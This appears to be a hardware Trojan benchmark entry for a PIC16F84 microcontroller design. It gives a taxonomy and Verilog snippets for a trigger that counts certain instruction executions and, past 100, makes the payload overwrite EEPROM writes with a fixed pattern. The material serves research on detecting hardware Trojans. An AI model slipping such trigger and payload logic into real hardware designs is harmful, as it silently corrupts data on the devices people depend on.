

PIC16F84-T300

🔑 Trojan description

- 🔑 The Trojan trigger, a state machine, observes the number of execution of specific instruction. Above a certain number of execution the Trojan is triggered, and it manipulates data lines to the external EEPROM.

🔑 Trojan taxonomy

- 🔑 Insertion phase: Design
- 🔑 Abstraction level: Register-transfer level
- 🔑 Activation mechanism: Internally conditionally triggered
- 🔑 Effects: Leak Information
- 🔑 Location: Processor
- 🔑 Physical characteristics: Functional

PIC16F84-T300

Trigger

```
always @(pon_rst_n_i, prog_dat_i)
begin
    if (pon_rst_n_i == 0) Counter <= 0;
    else
        case (prog_dat_i[13:10])
            4'b1000 : Counter <= Counter + 1;
            4'b1001 : Counter <= Counter + 1;
            4'b1010 : Counter <= Counter + 1;
            4'b1011 : Counter <= Counter + 1;
            4'b0100 : Counter <= Counter + 1;
            4'b0101 : Counter <= Counter + 1;
            4'b0110 : Counter <= Counter + 1;
            4'b0111 : Counter <= Counter + 1;
            4'b1100 : Counter <= Counter + 1;
            4'b1101 : Counter <= 0;
            default : Counter <= Counter;
        endcase
    end // Trojan trigger
```

```
always @(Counter)
Begin
    if (Counter > 100)
        Trojan_Trigger_Out
            <= 1;
    else
        Trojan_Trigger_Out
            <= 0;
    end // Trojan payload
```


PIC16F84-T300

Payload

```
if (addr_eep_dat)
Begin
  if (~Trojan_Trigger_Out)
    begin eep_dat_reg <= aluout_reg; end    // write EEDATA
  else
    begin eep_dat_reg <= 8'b10101010; end  // write EEDATA
end
```


Please send your concerns/questions to

Dr. Hassan Salmani at SalmaniHSN@gmail.com

Administrator at admin@trust-hub.com